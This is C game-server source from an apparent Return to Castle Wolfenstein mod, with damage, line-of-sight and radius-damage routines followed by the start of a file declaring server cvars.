if (dir) { // Ridah, had to add this to fix NULL dir crash
VectorCopy (dir, targ->rotate);
VectorCopy (point, targ->pos3); // this will pass loc of hit
} else {
VectorClear( targ->rotate );
VectorClear( targ->pos3 );
}
targ->pain (targ, attacker, take, point);
// RF, entity scripting
if (targ->s.number >= MAX_CLIENTS)
G_Script_ScriptEvent( targ, "pain", va("%d %d", targ->health, targ->health+take) );
}
//G_ArmorDamage(targ); //----(SA) moved out to separate routine
// Ridah, this needs to be done last, incase the health is altered in one of the event calls
if ( targ->client ) {
targ->client->ps.stats[STAT_HEALTH] = targ->health;
}
if (damage > 0){ // MHC - new method for calculating hits...if any damage is given its a hit
if( LogAccuracyHit( targ, attacker ) ) {
attacker->client->ps.persistant[PERS_ACCURACY_HITS]++;
if(g_deathmatch.integer != 2){
if((OnSameTeam(attacker,targ)) && (attacker != targ)){
attacker->client->pers.acc_teamHits++;
}else{
attacker->client->pers.acc_hits++;
attacker->client->pers.life_hits++;
}
}
}
if(g_deathmatch.integer == 2){ // This may cause a crash in the future...
attacker->client->pers.acc_hits++;
attacker->client->pers.life_hits++;
}
}
#ifdef OMNIBOT
if (targ->s.number < MAX_CLIENTS)
{
// notify omni-bot framework
Bot_Event_TakeDamage(targ-g_entities, attacker);
}
#endif // OMNIBOT
}
}
/*
void G_Damage( gentity_t *targ, gentity_t *inflictor, gentity_t *attacker,
vec3_t dir, vec3_t point, int damage, int dflags, int mod ) {
gclient_t *client;
int take;
int save;
int asave;
int knockback;
if (!targ->takedamage) {
return;
}
// the intermission has allready been qualified for, so don't
// allow any extra scoring
if ( level.intermissionQueued || g_gamestate.integer != GS_PLAYING ) {
if ((!g_warmupDamage.integer) || ((g_gamestate.integer != GS_WARMUP) && (g_gamestate.integer != GS_WARMUP_COUNTDOWN)))
return;
}
if ( !inflictor ) {
inflictor = &g_entities[ENTITYNUM_WORLD];
}
if ( !attacker ) {
attacker = &g_entities[ENTITYNUM_WORLD];
}
// JPW NERVE
if ((targ->waterlevel >= 3) && (mod == MOD_FLAMETHROWER))
return;
// jpw
// shootable doors / buttons don't actually have any health
if ( targ->s.eType == ET_MOVER && !(targ->aiName) && !(targ->isProp) && !targ->scriptName) {
if ( targ->use && targ->moverState == MOVER_POS1 ) {
targ->use( targ, inflictor, attacker );
}
return;
}
if ( targ->s.eType == ET_MOVER && targ->aiName && !(targ->isProp) && !targ->scriptName)
{
switch (mod) {
case MOD_GRENADE:
case MOD_GRENADE_SPLASH:
case MOD_ROCKET:
case MOD_ROCKET_SPLASH:
break;
default:
return; // no damage from other weapons
}
}
else if ( targ->s.eType == ET_EXPLOSIVE )
{
// 32 Explosive
// 64 Dynamite only
if ((targ->spawnflags & 32) || (targ->spawnflags & 64))
{
switch (mod) {
case MOD_GRENADE:
case MOD_GRENADE_SPLASH:
case MOD_ROCKET:
case MOD_ROCKET_SPLASH:
case MOD_AIRSTRIKE:
case MOD_GRENADE_PINEAPPLE:
case MOD_MORTAR:
case MOD_MORTAR_SPLASH:
case MOD_EXPLOSIVE:
if (targ->spawnflags & 64)
return;
break;
case MOD_DYNAMITE:
case MOD_DYNAMITE_SPLASH:
break;
default:
return;
}
}
}
client = targ->client;
if ( client ) {
if ( client->noclip ) {
return;
}
}
if ( !dir ) {
dflags |= DAMAGE_NO_KNOCKBACK;
} else {
VectorNormalize(dir);
}
knockback = damage;
if ( knockback > 200 ) {
knockback = 200;
}
if ( targ->flags & FL_NO_KNOCKBACK ) {
knockback = 0;
}
if ( dflags & DAMAGE_NO_KNOCKBACK ) {
knockback = 0;
}
// figure momentum add, even if the damage won't be taken
if ( knockback && targ->client && (g_friendlyFire.integer || !OnSameTeam(targ, attacker)) ) {
vec3_t kvel;
float mass;
mass = 200;
if (mod == MOD_LIGHTNING && !((level.time+targ->s.number*50)%400)) {
knockback = 60;
dir[2] = 0.3;
}
VectorScale (dir, g_knockback.value * (float)knockback / mass, kvel);
VectorAdd (targ->client->ps.velocity, kvel, targ->client->ps.velocity);
if (targ == attacker && !( mod != MOD_ROCKET &&
mod != MOD_ROCKET_SPLASH &&
mod != MOD_GRENADE &&
mod != MOD_GRENADE_SPLASH &&
mod != MOD_DYNAMITE))
{
targ->client->ps.velocity[2] *= 0.25;
}
// set the timer so that the other client can't cancel
// out the movement immediately
if ( !targ->client->ps.pm_time ) {
int t;
t = knockback * 2;
if ( t < 50 ) {
t = 50;
}
if ( t > 200 ) {
t = 200;
}
targ->client->ps.pm_time = t;
targ->client->ps.pm_flags |= PMF_TIME_KNOCKBACK;
}
}
// check for completely getting out of the damage
if ( !(dflags & DAMAGE_NO_PROTECTION) ) {
// if TF_NO_FRIENDLY_FIRE is set, don't do damage to the target
// if the attacker was on the same team
if ( targ != attacker && OnSameTeam (targ, attacker) ) {
if ( !g_friendlyFire.integer ) {
return;
}
}
// check for godmode
if ( targ->flags & FL_GODMODE ) {
return;
}
// RF, warzombie defense position is basically godmode for the time being
if ( targ->flags & FL_DEFENSE_GUARD ) {
return;
}
// check for invulnerability // (SA) moved from below so DAMAGE_NO_PROTECTION will still work
if ( client && client->ps.powerups[PW_INVULNERABLE] ) { //----(SA) added
return;
}
}
// battlesuit protects from all radius damage (but takes knockback)
// and protects 50% against all damage
if ( client && client->ps.powerups[PW_BATTLESUIT] ) {
G_AddEvent( targ, EV_POWERUP_BATTLESUIT, 0 );
if ( dflags & DAMAGE_RADIUS ) {
return;
}
damage *= 0.5;
}
// add to the attacker's hit counter
if ( attacker->client && targ != attacker && targ->health > 0 ) {
if ( OnSameTeam( targ, attacker ) ) {
attacker->client->ps.persistant[PERS_HITS] -= damage;
} else {
attacker->client->ps.persistant[PERS_HITS] += damage;
}
}
if ( damage < 1 ) {
damage = 1;
}
take = damage;
save = 0;
// save some from armor
asave = CheckArmor (targ, take, dflags);
take -= asave;
if ( IsHeadShot(targ, qfalse, dir, point, mod) ) {
if (take*2 < g_headshotDmg.integer) // head shots, all weapons, do minimum 50 points damage
{
if((!(targ->client->ps.eFlags & EF_HEADSHOT)) && (g_helmetProtects.integer)) //BOTS TW - added cvar check
take = g_helmetDmg.integer; //BOTS TW - added customizable damage via cvar
else
take = g_headshotDmg.integer; //will do 50 damage if no helmet, or if g_helmetProtects is 0
}
else
take *= 2; // sniper rifles can do full-kill (and knock into limbo)
//mal: end of helmet code.
if(!(targ->client->ps.eFlags & EF_HEADSHOT)) // only toss hat on first headshot
G_AddEvent( targ, EV_LOSE_HAT, DirToByte(dir) );
targ->client->ps.eFlags |= EF_HEADSHOT;
if (!OnSameTeam(attacker, targ)){
attacker->client->pers.headshots++;
if (g_reportHeadshots.integer > 0)
trap_SendServerCommand(attacker-g_entities, va("cp \"^1HEADSHOT!!!\n\""));
}
}
if ( g_debugDamage.integer ) {
G_Printf( "client:%i health:%i damage:%i armor:%i\n", targ->s.number,
targ->health, take, asave );
}
// add to the damage inflicted on a player this frame
// the total will be turned into screen blends and view angle kicks
// at the end of the frame
if ( client ) {
if ( attacker ) {
client->ps.persistant[PERS_ATTACKER] = attacker->s.number;
} else {
client->ps.persistant[PERS_ATTACKER] = ENTITYNUM_WORLD;
}
client->damage_armor += asave;
client->damage_blood += take;
client->damage_knockback += knockback;
if ( dir ) {
VectorCopy ( dir, client->damage_from );
client->damage_fromWorld = qfalse;
} else {
VectorCopy ( targ->r.currentOrigin, client->damage_from );
client->damage_fromWorld = qtrue;
}
}
// See if it's the player hurting the emeny flag carrier
Team_CheckHurtCarrier(targ, attacker);
if (targ->client) {
// set the last client who damaged the target
targ->client->lasthurt_client = attacker->s.number;
targ->client->lasthurt_mod = mod;
}
if (take)
{
targ->health = targ->health - take;
// Ridah, can't gib with bullet weapons (except VENOM)
if ( mod != MOD_VENOM && attacker == inflictor && targ->health <= GIB_HEALTH) {
if (targ->aiCharacter != AICHAR_ZOMBIE) // zombie needs to be able to gib so we can kill him (although he doesn't actually GIB, he just dies)
targ->health= GIB_HEALTH+1;
}
// JPW NERVE overcome previous chunk of code for making grenades work again
if ((g_gametype.integer != GT_SINGLE_PLAYER) && (take > 190)) // 190 is greater than 2x mauser headshot, so headshots don't gib
{
targ->health = GIB_HEALTH - 1;
// jpw
}
//G_Printf("health at: %d\n", targ->health);
if ( targ->health <= 0 )
{
if ( client )
{
if ((targ->health == GIB_HEALTH - 1) && (!(targ->client->ps.pm_flags & PMF_LIMBO))){
if (!attacker->client)
{
if (g_gibReports.integer)
trap_SendServerCommand(-1, va("print \"%s^7 was gibbed.\n\"", targ->client->pers.netname));
}
else if (attacker == targ)
{
if (g_gibReports.integer)
trap_SendServerCommand(-1, va("print \"%s^7 gibbed himself.\n\"", targ->client->pers.netname));
}
else
{
if (!OnSameTeam(attacker, targ))
{
if (g_gibReports.integer)
trap_SendServerCommand(-1, va("print \"%s^7 gibbed %s^7.\n\"", attacker->client->pers.netname, targ->client->pers.netname));
attacker->client->pers.gibs++;
}
else
{
if (g_gibReports.integer)
trap_SendServerCommand(-1, va("print \"%s^3 was gibbed by ^1TEAMMATE^7 %s.\n\"", targ->client->pers.netname, attacker->client->pers.netname));
attacker->client->pers.teamGibs++;
}
}
}
targ->flags |= FL_NO_KNOCKBACK;
// JPW NERVE -- repeated shooting sends to limbo
if (g_gametype.integer >= GT_WOLF)
{
if ((targ->health < FORCE_LIMBO_HEALTH) && (targ->health > GIB_HEALTH) && (!(targ->client->ps.pm_flags & PMF_LIMBO)))
{
limbo(targ, qtrue);
// jpw
if (!attacker->client)
{
if (g_gibReports.integer)
trap_SendServerCommand(-1, va("print \"%s^7 was gibbed.\n\"", targ->client->pers.netname));
}
else if (attacker == targ)
{
if (g_gibReports.integer)
trap_SendServerCommand(-1, va("print \"%s^7 gibbed himself.\n\"", targ->client->pers.netname));
}
else
{
if (!OnSameTeam(attacker, targ))
{
if (g_gibReports.integer)
trap_SendServerCommand(-1, va("print \"%s^7 gibbed %s^7.\n\"", attacker->client->pers.netname, targ->client->pers.netname));
attacker->client->pers.gibs++;
}
else
{
if (g_gibReports.integer)
trap_SendServerCommand(-1, va("print \"%s^3 was gibbed by ^1TEAMMATE^7 %s\n\"", targ->client->pers.netname, attacker->client->pers.netname));
attacker->client->pers.teamGibs++;
}
}
}
}
}
if (targ->health < -999)
targ->health = -999;
targ->enemy = attacker;
if (targ->die) // Ridah, mg42 doesn't have die func (FIXME)
targ->die (targ, inflictor, attacker, take, mod);
// if we freed ourselves in death function
if (!targ->inuse)
return;
// RF, entity scripting
if (targ->s.number >= MAX_CLIENTS && targ->health <= 0) // might have revived itself in death function
G_Script_ScriptEvent( targ, "death", "" );
} else if ( targ->pain ) {
if (dir) { // Ridah, had to add this to fix NULL dir crash
VectorCopy (dir, targ->rotate);
VectorCopy (point, targ->pos3); // this will pass loc of hit
} else {
VectorClear( targ->rotate );
VectorClear( targ->pos3 );
}
targ->pain (targ, attacker, take, point);
// RF, entity scripting
if (targ->s.number >= MAX_CLIENTS)
G_Script_ScriptEvent( targ, "pain", va("%d %d", targ->health, targ->health+take) );
}
//G_ArmorDamage(targ); //----(SA) moved out to separate routine
// Ridah, this needs to be done last, incase the health is altered in one of the event calls
if ( targ->client ) {
targ->client->ps.stats[STAT_HEALTH] = targ->health;
}
}
}
///////////////////////////////////////////////////////////////////////////////
if (take) {
targ->health = targ->health - take;
// Ridah, can't gib with bullet weapons (except VENOM)
if ( mod != MOD_VENOM && attacker == inflictor && targ->health <= GIB_HEALTH) {
if (targ->aiCharacter != AICHAR_ZOMBIE) // zombie needs to be able to gib so we can kill him (although he doesn't actually GIB, he just dies)
targ->health= GIB_HEALTH+1;
}
// JPW NERVE overcome previous chunk of code for making grenades work again
if ((g_gametype.integer != GT_SINGLE_PLAYER) && (take > 190)) // 190 is greater than 2x mauser headshot, so headshots don't gib
{
targ->health = GIB_HEALTH - 1;
// jpw
}
//G_Printf("health at: %d\n", targ->health);
if ( targ->health <= 0 )
{
if ( client )
{
if ((targ->health == GIB_HEALTH - 1) && (!(targ->client->ps.pm_flags & PMF_LIMBO))){
if (!attacker->client)
{
if (g_gibReports.integer)
trap_SendServerCommand(-1, va("print \"%s^7 was gibbed.\n\"", targ->client->pers.netname));
}
else if (attacker == targ)
{
if (g_gibReports.integer)
trap_SendServerCommand(-1, va("print \"%s^7 gibbed himself.\n\"", targ->client->pers.netname));
}
else
{
if (!OnSameTeam(attacker, targ))
{
if (g_gibReports.integer)
trap_SendServerCommand(-1, va("print \"%s^7 gibbed %s^7.\n\"", attacker->client->pers.netname, targ->client->pers.netname));
attacker->client->pers.gibs++;
}
else
{
if (g_gibReports.integer)
trap_SendServerCommand(-1, va("print \"%s^3 was gibbed by ^1TEAMMATE^7 %s.\n\"", targ->client->pers.netname, attacker->client->pers.netname));
attacker->client->pers.teamGibs++;
}
}
}
targ->flags |= FL_NO_KNOCKBACK;
// JPW NERVE -- repeated shooting sends to limbo
if (g_gametype.integer >= GT_WOLF)
{
if ((targ->health < FORCE_LIMBO_HEALTH) && (targ->health > GIB_HEALTH) && (!(targ->client->ps.pm_flags & PMF_LIMBO)))
{
limbo(targ, qtrue);
// jpw
if (!attacker->client)
{
if (g_gibReports.integer)
trap_SendServerCommand(-1, va("print \"%s^7 was gibbed.\n\"", targ->client->pers.netname));
}
else if (attacker == targ)
{
if (g_gibReports.integer)
trap_SendServerCommand(-1, va("print \"%s^7 gibbed himself.\n\"", targ->client->pers.netname));
}
else
{
if (!OnSameTeam(attacker, targ))
{
if (g_gibReports.integer)
trap_SendServerCommand(-1, va("print \"%s^7 gibbed %s^7.\n\"", attacker->client->pers.netname, targ->client->pers.netname));
attacker->client->pers.gibs++;
}
else
{
if (g_gibReports.integer)
trap_SendServerCommand(-1, va("print \"%s^3 was gibbed by ^1TEAMMATE^7 %s\n\"", targ->client->pers.netname, attacker->client->pers.netname));
attacker->client->pers.teamGibs++;
}
}
}
}
}
if (targ->health < -999)
targ->health = -999;
targ->enemy = attacker;
if (targ->die) // Ridah, mg42 doesn't have die func (FIXME)
targ->die (targ, inflictor, attacker, take, mod);
// if we freed ourselves in death function
if (!targ->inuse)
return;
// RF, entity scripting
if (targ->s.number >= MAX_CLIENTS && targ->health <= 0) // might have revived itself in death function
G_Script_ScriptEvent( targ, "death", "" );
} else if ( targ->pain ) {
if (dir) { // Ridah, had to add this to fix NULL dir crash
VectorCopy (dir, targ->rotate);
VectorCopy (point, targ->pos3); // this will pass loc of hit
} else {
VectorClear( targ->rotate );
VectorClear( targ->pos3 );
}
targ->pain (targ, attacker, take, point);
// RF, entity scripting
if (targ->s.number >= MAX_CLIENTS)
G_Script_ScriptEvent( targ, "pain", va("%d %d", targ->health, targ->health+take) );
}
//G_ArmorDamage(targ); //----(SA) moved out to separate routine
// Ridah, this needs to be done last, incase the health is altered in one of the event calls
if ( targ->client ) {
targ->client->ps.stats[STAT_HEALTH] = targ->health;
}
}
}
*/
/*
============
CanDamage
Returns qtrue if the inflictor can directly damage the target. Used for
explosions and melee attacks.
============
*//*
qboolean CanDamage (gentity_t *targ, vec3_t origin) {
vec3_t dest;
trace_t tr;
vec3_t midpoint;
// use the midpoint of the bounds instead of the origin, because
// bmodels may have their origin is 0,0,0
VectorAdd (targ->r.absmin, targ->r.absmax, midpoint);
VectorScale (midpoint, 0.5, midpoint);
VectorCopy (midpoint, dest);
trap_Trace ( &tr, origin, vec3_origin, vec3_origin, dest, ENTITYNUM_NONE, MASK_SOLID);
if (tr.fraction == 1.0)
return qtrue;
if(&g_entities[tr.entityNum] == targ)
return qtrue;
// this should probably check in the plane of projection,
// rather than in world coordinate, and also include Z
VectorCopy (midpoint, dest);
dest[0] += 15.0;
dest[1] += 15.0;
trap_Trace ( &tr, origin, vec3_origin, vec3_origin, dest, ENTITYNUM_NONE, MASK_SOLID);
if (tr.fraction == 1.0)
return qtrue;
VectorCopy (midpoint, dest);
dest[0] += 15.0;
dest[1] -= 15.0;
trap_Trace ( &tr, origin, vec3_origin, vec3_origin, dest, ENTITYNUM_NONE, MASK_SOLID);
if (tr.fraction == 1.0)
return qtrue;
VectorCopy (midpoint, dest);
dest[0] -= 15.0;
dest[1] += 15.0;
trap_Trace ( &tr, origin, vec3_origin, vec3_origin, dest, ENTITYNUM_NONE, MASK_SOLID);
if (tr.fraction == 1.0)
return qtrue;
VectorCopy (midpoint, dest);
dest[0] -= 15.0;
dest[1] -= 15.0;
trap_Trace ( &tr, origin, vec3_origin, vec3_origin, dest, ENTITYNUM_NONE, MASK_SOLID);
if (tr.fraction == 1.0)
return qtrue;
return qfalse;
}*/
/*
============
CanDamage ET version
============
*/
//#define MASK_CAN_DAMAGE (CONTENTS_SOLID | CONTENTS_BODY) // 6/14/08 - <NAME> dont kill through other players
#define MASK_CAN_DAMAGE CONTENTS_SOLID // New version..just contense_solid
qboolean CanDamage (gentity_t *targ, vec3_t origin) {
vec3_t dest;
trace_t tr;
vec3_t midpoint;
vec3_t offsetmins = { -16.f, -16.f, -16.f };
vec3_t offsetmaxs = { 16.f, 16.f, 16.f };
// use the midpoint of the bounds instead of the origin, because
// bmodels may have their origin is 0,0,0
// Gordon: well, um, just check then...
if(targ->r.currentOrigin[0] || targ->r.currentOrigin[1] || targ->r.currentOrigin[2]) {
VectorCopy( targ->r.currentOrigin, midpoint );
if( targ->s.eType == ET_MOVER ) {
midpoint[2] += 32;
}
}else{
VectorAdd (targ->r.absmin, targ->r.absmax, midpoint);
VectorScale (midpoint, 0.5, midpoint);
}
// G_RailTrail( origin, dest );
trap_Trace ( &tr, origin, vec3_origin, vec3_origin, midpoint, ENTITYNUM_NONE, MASK_CAN_DAMAGE );
if (tr.fraction == 1.0)
return qtrue;
if(&g_entities[tr.entityNum] == targ)
return qtrue;
if( targ->client ) {
VectorCopy( targ->client->ps.mins, offsetmins );
VectorCopy( targ->client->ps.maxs, offsetmaxs );
}
// this should probably check in the plane of projection,
// rather than in world coordinate
VectorCopy (midpoint, dest);
dest[0] += offsetmaxs[0];
dest[1] += offsetmaxs[1];
dest[2] += offsetmaxs[2];
trap_Trace ( &tr, origin, vec3_origin, vec3_origin, dest, ENTITYNUM_NONE, MASK_CAN_DAMAGE );
if( tr.fraction == 1 || &g_entities[tr.entityNum] == targ ) {
return qtrue;
}
VectorCopy (midpoint, dest);
dest[0] += offsetmaxs[0];
dest[1] += offsetmins[1];
dest[2] += offsetmaxs[2];
trap_Trace ( &tr, origin, vec3_origin, vec3_origin, dest, ENTITYNUM_NONE, MASK_CAN_DAMAGE );
if( tr.fraction == 1 || &g_entities[tr.entityNum] == targ ) {
return qtrue;
}
VectorCopy (midpoint, dest);
dest[0] += offsetmins[0];
dest[1] += offsetmaxs[1];
dest[2] += offsetmaxs[2];
trap_Trace ( &tr, origin, vec3_origin, vec3_origin, dest, ENTITYNUM_NONE, MASK_CAN_DAMAGE );
if( tr.fraction == 1 || &g_entities[tr.entityNum] == targ ) {
return qtrue;
}
VectorCopy (midpoint, dest);
dest[0] += offsetmins[0];
dest[1] += offsetmins[1];
dest[2] += offsetmaxs[2];
trap_Trace ( &tr, origin, vec3_origin, vec3_origin, dest, ENTITYNUM_NONE, MASK_CAN_DAMAGE );
if( tr.fraction == 1 || &g_entities[tr.entityNum] == targ ) {
return qtrue;
}
// =========================
VectorCopy (midpoint, dest);
dest[0] += offsetmaxs[0];
dest[1] += offsetmaxs[1];
dest[2] += offsetmins[2];
trap_Trace ( &tr, origin, vec3_origin, vec3_origin, dest, ENTITYNUM_NONE, MASK_CAN_DAMAGE );
if( tr.fraction == 1 || &g_entities[tr.entityNum] == targ ) {
return qtrue;
}
VectorCopy (midpoint, dest);
dest[0] += offsetmaxs[0];
dest[1] += offsetmins[1];
dest[2] += offsetmins[2];
trap_Trace ( &tr, origin, vec3_origin, vec3_origin, dest, ENTITYNUM_NONE, MASK_CAN_DAMAGE );
if( tr.fraction == 1 || &g_entities[tr.entityNum] == targ ) {
return qtrue;
}
VectorCopy (midpoint, dest);
dest[0] += offsetmins[0];
dest[1] += offsetmaxs[1];
dest[2] += offsetmins[2];
trap_Trace ( &tr, origin, vec3_origin, vec3_origin, dest, ENTITYNUM_NONE, MASK_CAN_DAMAGE );
if( tr.fraction == 1 || &g_entities[tr.entityNum] == targ ) {
return qtrue;
}
VectorCopy (midpoint, dest);
dest[0] += offsetmins[0];
dest[1] += offsetmins[2];
dest[2] += offsetmins[2];
trap_Trace ( &tr, origin, vec3_origin, vec3_origin, dest, ENTITYNUM_NONE, MASK_CAN_DAMAGE );
if( tr.fraction == 1 || &g_entities[tr.entityNum] == targ ) {
return qtrue;
}
return qfalse;
}
/*
============
G_RadiusDamage
============
*/
qboolean G_RadiusDamage ( vec3_t origin, gentity_t *attacker, float damage, float radius,
gentity_t *ignore, int mod) {
float points, dist;
gentity_t *ent;
int entityList[MAX_GENTITIES];
int numListedEntities;
vec3_t mins, maxs;
vec3_t v;
vec3_t dir;
int i, e;
qboolean hitClient = qfalse;
// JPW NERVE
float boxradius;
vec3_t dest;
trace_t tr;
vec3_t midpoint;
// jpw
if ( radius < 1 ) {
radius = 1;
}
boxradius = 1.41421356 * radius; // radius * sqrt(2) for bounding box enlargement --
// bounding box was checking against radius / sqrt(2) if collision is along box plane
for ( i = 0 ; i < 3 ; i++ ) {
mins[i] = origin[i] - boxradius; // JPW NERVE
maxs[i] = origin[i] + boxradius; // JPW NERVE
}
numListedEntities = trap_EntitiesInBox( mins, maxs, entityList, MAX_GENTITIES );
for ( e = 0 ; e < numListedEntities ; e++ ) {
ent = &g_entities[entityList[ e ]];
if (ent == ignore)
continue;
if (!ent->takedamage)
continue;
/* JPW NERVE -- we can put this back if we need to, but it kinna sucks for human-sized bboxes
// find the distance from the edge of the bounding box
for ( i = 0 ; i < 3 ; i++ ) {
if ( origin[i] < ent->r.absmin[i] ) {
v[i] = ent->r.absmin[i] - origin[i];
} else if ( origin[i] > ent->r.absmax[i] ) {
v[i] = origin[i] - ent->r.absmax[i];
} else {
v[i] = 0;
}
}
*/
// JPW NERVE
if (!ent->r.bmodel)
VectorSubtract(ent->r.currentOrigin,origin,v); // JPW NERVE simpler centroid check that doesn't have box alignment weirdness
else {
for ( i = 0 ; i < 3 ; i++ ) {
if ( origin[i] < ent->r.absmin[i] ) {
v[i] = ent->r.absmin[i] - origin[i];
} else if ( origin[i] > ent->r.absmax[i] ) {
v[i] = origin[i] - ent->r.absmax[i];
} else {
v[i] = 0;
}
}
}
// jpw
dist = VectorLength( v );
if ( dist >= radius ) {
continue;
}
points = damage * ( 1.0 - dist / radius );
// JPW NERVE -- different radiusdmg behavior for MP -- big explosions should do less damage (over less distance) through failed traces
if( CanDamage (ent, origin) ) {
if( LogAccuracyHit( ent, attacker ) ) {
hitClient = qtrue;
}
VectorSubtract (ent->r.currentOrigin, origin, dir);
// push the center of mass higher than the origin so players
// get knocked into the air more
dir[2] += 24;
G_Damage (ent, NULL, attacker, dir, origin, (int)points, DAMAGE_RADIUS, mod);
}
// JPW NERVE -- MP weapons should do 1/8 damage through walls over 1/8th distance
else {
if (g_gametype.integer != GT_SINGLE_PLAYER) {
VectorAdd (ent->r.absmin, ent->r.absmax, midpoint);
VectorScale (midpoint, 0.5, midpoint);
VectorCopy (midpoint, dest);
trap_Trace ( &tr, origin, vec3_origin, vec3_origin, dest, ENTITYNUM_NONE, MASK_SOLID);
if (tr.fraction < 1.0) {
VectorSubtract(dest,origin,dest);
dist = VectorLength(dest);
if (dist < radius*0.2f) { // closer than 1/4 dist
if( LogAccuracyHit( ent, attacker ) ) {
hitClient = qtrue;
}
VectorSubtract (ent->r.currentOrigin, origin, dir);
dir[2] += 24;
G_Damage (ent, NULL, attacker, dir, origin, (int)(points*0.1f), DAMAGE_RADIUS, mod);
}
}
}
}
// jpw
}
return hitClient;
}
<file_sep>#include "g_local.h"
#include "S4ND_local.h"
#ifdef OMNIBOT
#include "g_rtcwbot_interface.h"
#endif
//TEST
level_locals_t level;
// L0
spec_lock_status_t speclockStatus;
// L0 - end
mg42_t automg42s;
typedef struct {
vmCvar_t *vmCvar;
char *cvarName;
char *defaultString;
int cvarFlags;
int modificationCount; // for tracking changes
qboolean trackChange; // track this variable, and announce if changed
qboolean teamShader; // track and if changed, update shader state
} cvarTable_t;
gentity_t g_entities[MAX_GENTITIES];
gclient_t g_clients[MAX_CLIENTS];
gentity_t *g_camEnt = NULL; //----(SA) script camera
// Rafael gameskill
extern int bg_pmove_gameskill_integer;
// done
vmCvar_t g_gametype;
// Rafael gameskill
vmCvar_t g_gameskill;
// done
//ADDED
vmCvar_t g_ippool;
vmCvar_t g_ipbadpool;
vmCvar_t g_dmflags;
vmCvar_t g_fraglimit;
vmCvar_t g_timelimit;
vmCvar_t g_capturelimit;
vmCvar_t g_friendlyFire;
vmCvar_t g_password;
vmCvar_t g_maxclients;
vmCvar_t g_maxGameClients;
vmCvar_t g_minGameClients; // NERVE - SMF
vmCvar_t g_dedicated;
vmCvar_t g_speed;
vmCvar_t g_gravity;
vmCvar_t g_cheats;
vmCvar_t g_knockback;
vmCvar_t g_quadfactor;
vmCvar_t g_forcerespawn;
vmCvar_t g_inactivity;
vmCvar_t g_debugMove;
vmCvar_t g_debugDamage;
vmCvar_t g_debugAlloc;
vmCvar_t g_debugBullets; //----(SA) added
vmCvar_t g_debugSpawn; //Martin
vmCvar_t g_weaponRespawn;
vmCvar_t g_motd;
vmCvar_t g_syncronousClients;
vmCvar_t g_warmup;
// NERVE - SMF
vmCvar_t g_warmupLatch;
vmCvar_t g_nextTimeLimit;
vmCvar_t g_showHeadshotRatio;
vmCvar_t g_userTimeLimit;
vmCvar_t g_userAlliedRespawnTime;
vmCvar_t g_userAxisRespawnTime;
vmCvar_t g_currentRound;
vmCvar_t g_noTeamSwitching;
vmCvar_t g_altStopwatchMode;
vmCvar_t g_gamestate;
vmCvar_t g_swapteams;
// -NERVE - SMF
vmCvar_t g_restarted;
vmCvar_t g_log;
vmCvar_t g_logSync;
vmCvar_t g_podiumDist;
vmCvar_t g_podiumDrop;
vmCvar_t g_allowVote;
vmCvar_t g_complaintlimit; // DHM - Nerve
vmCvar_t g_maxlives; // DHM - Nerve
vmCvar_t g_voiceChatsAllowed; // DHM - Nerve
vmCvar_t g_needpass;
vmCvar_t g_weaponTeamRespawn;
vmCvar_t g_doWarmup;
vmCvar_t g_teamAutoJoin;
vmCvar_t g_teamForceBalance;
vmCvar_t g_listEntity;
vmCvar_t g_banIPs;
vmCvar_t g_banmsg;
vmCvar_t g_tempbanmsg;
vmCvar_t g_filterBan;
vmCvar_t g_rankings;
vmCvar_t g_enableBreath;
vmCvar_t g_smoothClients;
vmCvar_t pmove_fixed;
vmCvar_t pmove_msec;
// Rafael
vmCvar_t g_autoactivate;
vmCvar_t g_testPain;
vmCvar_t g_missionStats;
vmCvar_t ai_scriptName; // name of AI script file to run (instead of default for that map)
vmCvar_t g_scriptName; // name of script file to run (instead of default for that map)
vmCvar_t g_developer;
vmCvar_t g_userAim;
vmCvar_t g_forceModel;
vmCvar_t g_mg42arc;
vmCvar_t g_footstepAudibleRange;
// JPW NERVE multiplayer reinforcement times
vmCvar_t g_redlimbotime;
vmCvar_t g_bluelimbotime;
// charge times for character class special weapons
vmCvar_t g_medicChargeTime;
vmCvar_t g_engineerChargeTime;
vmCvar_t g_LTChargeTime;
vmCvar_t g_soldierChargeTime;
// screen shakey magnitude multiplier
vmCvar_t sv_screenshake;
// jpw
//S4NDM4NN- cvars
vmCvar_t g_speclock;
vmCvar_t g_checkguid;
vmCvar_t g_ammoPacks;
vmCvar_t g_medPacks;
vmCvar_t g_nadePacks;
vmCvar_t g_allowBlackNames;
vmCvar_t g_banGuids;
vmCvar_t g_goomba;
vmCvar_t g_poison;
vmCvar_t g_dropReload;
vmCvar_t g_reviveReports;
vmCvar_t g_tapReports;
vmCvar_t g_nameChangeReports;
vmCvar_t g_ltNades;
vmCvar_t g_medNades;
vmCvar_t g_engNades;
vmCvar_t g_soldNades;
vmCvar_t g_privateMsgs;
vmCvar_t g_minMsgChars;
vmCvar_t g_allowGib;
vmCvar_t g_allowKill;
vmCvar_t g_shove;
vmCvar_t g_shoveAmount;
vmCvar_t g_shoveNoZ;
vmCvar_t g_kickableNades;
vmCvar_t g_kickableAS;
vmCvar_t g_gibReports;
vmCvar_t g_warmupDamage;
vmCvar_t g_reportHeadshots;
vmCvar_t g_unlockWeapons;
vmCvar_t g_pickupAmmo;
vmCvar_t g_ammoGivesSyringe;
vmCvar_t g_ammoGivesHelmet;
vmCvar_t g_ammoGivesBinocs;
vmCvar_t g_medExtraClips;
vmCvar_t g_ltExtraClips;
vmCvar_t g_engExtraClips;
vmCvar_t g_soldExtraClips;
vmCvar_t g_venomExtraClips;
vmCvar_t g_mauserExtraClips;
vmCvar_t g_pistolExtraClips;
vmCvar_t g_headshotDmg;
vmCvar_t g_helmetDmg;
vmCvar_t g_helmetProtects;
vmCvar_t g_teamSwitchTime;
vmCvar_t g_connectMsg;
vmCvar_t g_deathmatch;
vmCvar_t g_lateJoinLives;
vmCvar_t g_lateJoinTime;
vmCvar_t g_allowLateJoiners;
vmCvar_t g_maxPf;
vmCvar_t g_maxFlamer;
vmCvar_t g_maxMauser;
vmCvar_t g_maxVenom;
vmCvar_t g_alliedmaxlives;
vmCvar_t g_axismaxlives;
vmCvar_t g_ignoreSpecs;
vmCvar_t g_panzerArc;
vmCvar_t g_rocketSpeed;
vmCvar_t g_ASBlock;
vmCvar_t g_ASBlockEasy;
vmCvar_t g_disallowedVotes;
vmCvar_t g_lockteams;
vmCvar_t g_dropObj;
vmCvar_t g_dropNadepacks;
vmCvar_t g_throwableKnives;
vmCvar_t g_ammoGivesKnife;
vmCvar_t g_maxKnives;
vmCvar_t g_knifeDamage;
vmCvar_t g_wolfKick;
vmCvar_t g_dropClips;
